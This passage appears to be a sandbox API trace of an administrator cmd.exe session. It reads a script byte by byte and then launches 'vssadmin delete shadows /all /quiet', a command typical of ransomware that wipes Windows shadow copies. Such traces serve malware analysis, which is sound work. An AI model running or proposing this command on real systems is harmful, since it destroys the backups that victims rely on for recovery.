lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae340, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0043.672] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.672] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.672] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0043.672] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae342, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0043.672] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.672] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.672] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0043.672] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae344, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0043.673] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.673] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.673] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0043.673] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae346, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0043.673] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.673] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.673] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0043.673] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae348, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0043.673] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.673] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.673] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0043.673] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae34a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0043.673] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.673] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.673] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0043.673] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae34c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0043.673] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.673] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.673] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0043.673] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae34e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0043.673] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.673] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.673] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0043.673] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae350, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0043.673] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.673] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.673] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0043.673] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae352, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0043.673] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.674] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.674] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0043.674] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae354, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0043.674] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.674] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.674] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0043.674] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae356, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0043.674] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.674] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.674] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0043.674] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae358, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0043.674] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.674] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.674] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0043.674] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae35a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0043.674] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.674] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.674] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0043.674] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae35c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0043.674] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.674] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.674] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0043.674] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae35e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0043.674] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.674] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.674] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0043.674] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae360, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0043.674] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.674] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.675] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0043.675] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae362, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0043.675] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.675] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.675] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0043.675] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae364, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0043.675] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.675] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.675] ReadFile (in: hFile=0xe8, lpBuffer=0x4a0ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesRead=0x25fad8*=0x1, lpOverlapped=0x0) returned 1 [0043.675] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a0ac320, cbMultiByte=1, lpWideCharStr=0x4a0ae366, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0043.675] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.675] GetFileType (hFile=0xe8) returned 0x3 [0043.675] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.675] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.675] _get_osfhandle (_FileHandle=1) returned 0xf4 [0043.675] GetFileType (hFile=0xf4) returned 0x3 [0043.675] _get_osfhandle (_FileHandle=1) returned 0xf4 [0043.675] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x4a0ac320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0043.675] WriteFile (in: hFile=0xf4, lpBuffer=0x4a0ac320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x25fab8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ac320*, lpNumberOfBytesWritten=0x25fab8*=0x24, lpOverlapped=0x0) returned 1 [0043.675] GetProcessHeap () returned 0x3d0000 [0043.675] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x4012) returned 0x3ef630 [0043.676] GetProcessHeap () returned 0x3d0000 [0043.676] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ef630 | out: hHeap=0x3d0000) returned 1 [0043.676] GetProcessHeap () returned 0x3d0000 [0043.676] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xb0) returned 0x3e97e0 [0043.676] GetProcessHeap () returned 0x3d0000 [0043.676] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x22) returned 0x3e4610 [0043.676] GetProcessHeap () returned 0x3d0000 [0043.676] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x48) returned 0x3eaa90 [0043.676] GetConsoleOutputCP () returned 0x4e3 [0043.677] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a0abfe0 | out: lpCPInfo=0x4a0abfe0) returned 1 [0043.677] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0043.677] GetConsoleTitleW (in: lpConsoleTitle=0x25fa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0043.677] GetProcessHeap () returned 0x3d0000 [0043.677] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x218) returned 0x3e9910 [0043.677] GetProcessHeap () returned 0x3d0000 [0043.677] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x5a) returned 0x3e9b30 [0043.677] GetProcessHeap () returned 0x3d0000 [0043.677] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x420) returned 0x3e9090 [0043.677] SetErrorMode (uMode=0x0) returned 0x0 [0043.677] SetErrorMode (uMode=0x1) returned 0x0 [0043.677] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x3e90a0, lpFilePart=0x25f300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x25f300*="Desktop") returned 0x25 [0043.677] SetErrorMode (uMode=0x0) returned 0x1 [0043.677] GetProcessHeap () returned 0x3d0000 [0043.677] RtlReAllocateHeap (Heap=0x3d0000, Flags=0x0, Ptr=0x3e9090, Size=0x6e) returned 0x3e9090 [0043.677] GetProcessHeap () returned 0x3d0000 [0043.677] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e9090) returned 0x6e [0043.677] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a09f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0043.677] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0043.677] GetProcessHeap () returned 0x3d0000 [0043.677] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x128) returned 0x3e5b70 [0043.677] GetProcessHeap () returned 0x3d0000 [0043.677] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x240) returned 0x3d1ab0 [0043.678] GetProcessHeap () returned 0x3d0000 [0043.678] RtlReAllocateHeap (Heap=0x3d0000, Flags=0x0, Ptr=0x3d1ab0, Size=0x12a) returned 0x3d1ab0 [0043.678] GetProcessHeap () returned 0x3d0000 [0043.678] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3d1ab0) returned 0x12a [0043.678] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a09f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0043.678] GetProcessHeap () returned 0x3d0000 [0043.678] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xe8) returned 0x3e9db0 [0043.678] GetProcessHeap () returned 0x3d0000 [0043.678] RtlReAllocateHeap (Heap=0x3d0000, Flags=0x0, Ptr=0x3e9db0, Size=0x7e) returned 0x3e9db0 [0043.678] GetProcessHeap () returned 0x3d0000 [0043.678] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e9db0) returned 0x7e [0043.678] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0043.678] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x25f070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x25f070) returned 0xffffffffffffffff [0043.678] GetLastError () returned 0x2 [0043.678] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin", fInfoLevelId=0x1, lpFindFileData=0x25f070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x25f070) returned 0xffffffffffffffff [0043.678] GetLastError () returned 0x2 [0043.678] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0043.678] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x25f070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x25f070) returned 0x3e9ba0 [0043.678] FindClose (in: hFindFile=0x3e9ba0 | out: hFindFile=0x3e9ba0) returned 1 [0043.679] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x25f070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x25f070) returned 0xffffffffffffffff [0043.679] GetLastError () returned 0x2 [0043.679] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x25f070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x25f070) returned 0x3e9ba0 [0043.679] FindClose (in: hFindFile=0x3e9ba0 | out: hFindFile=0x3e9ba0) returned 1 [0043.679] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0043.679] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0043.679] GetConsoleTitleW (in: lpConsoleTitle=0x25f5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0043.679] GetProcessHeap () returned 0x3d0000 [0043.679] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x21c) returned 0x3e9110 [0043.679] GetConsoleTitleW (in: lpConsoleTitle=0x3e9120, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0043.679] GetProcessHeap () returned 0x3d0000 [0043.679] RtlReAllocateHeap (Heap=0x3d0000, Flags=0x0, Ptr=0x3e9110, Size=0xc0) returned 0x3e9110 [0043.679] GetProcessHeap () returned 0x3d0000 [0043.679] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e9110) returned 0xc0 [0043.679] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0043.680] GetProcessHeap () returned 0x3d0000 [0043.680] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e9110 | out: hHeap=0x3d0000) returned 1 [0043.680] InitializeProcThreadAttributeList (in: lpAttributeList=0x25f378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x25f338 | out: lpAttributeList=0x25f378, lpSize=0x25f338) returned 1 [0043.680] UpdateProcThreadAttribute (in: lpAttributeList=0x25f378, dwFlags=0x0, Attribute=0x60001, lpValue=0x25f328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x25f378, lpPreviousValue=0x0) returned 1 [0043.680] GetStartupInfoW (in: lpStartupInfo=0x25f490 | out: lpStartupInfo=0x25f490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0043.680] GetProcessHeap () returned 0x3d0000 [0043.680] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x20) returned 0x3e4640 [0043.680] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0043.680] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0043.680] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0043.680] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0043.680] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0043.680] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0043.680] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0043.680] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0043.680] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0043.680] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0043.680] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0043.680] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0043.680] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0043.680] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0043.680] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0043.680] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0043.680] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0043.680] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0043.680] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0043.680] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0043.680] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0043.680] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0043.680] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0043.681] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0043.681] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0043.681] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0043.681] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0043.681] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0043.681] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0043.681] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0043.681] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0043.681] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0043.681] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0043.681] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0043.681] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0043.681] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0043.681] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0043.681] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0043.681] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0043.681] GetProcessHeap () returned 0x3d0000 [0043.681] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e4640 | out: hHeap=0x3d0000) returned 1 [0043.681] GetProcessHeap () returned 0x3d0000 [0043.681] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x12) returned 0x3e8900 [0043.681] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", 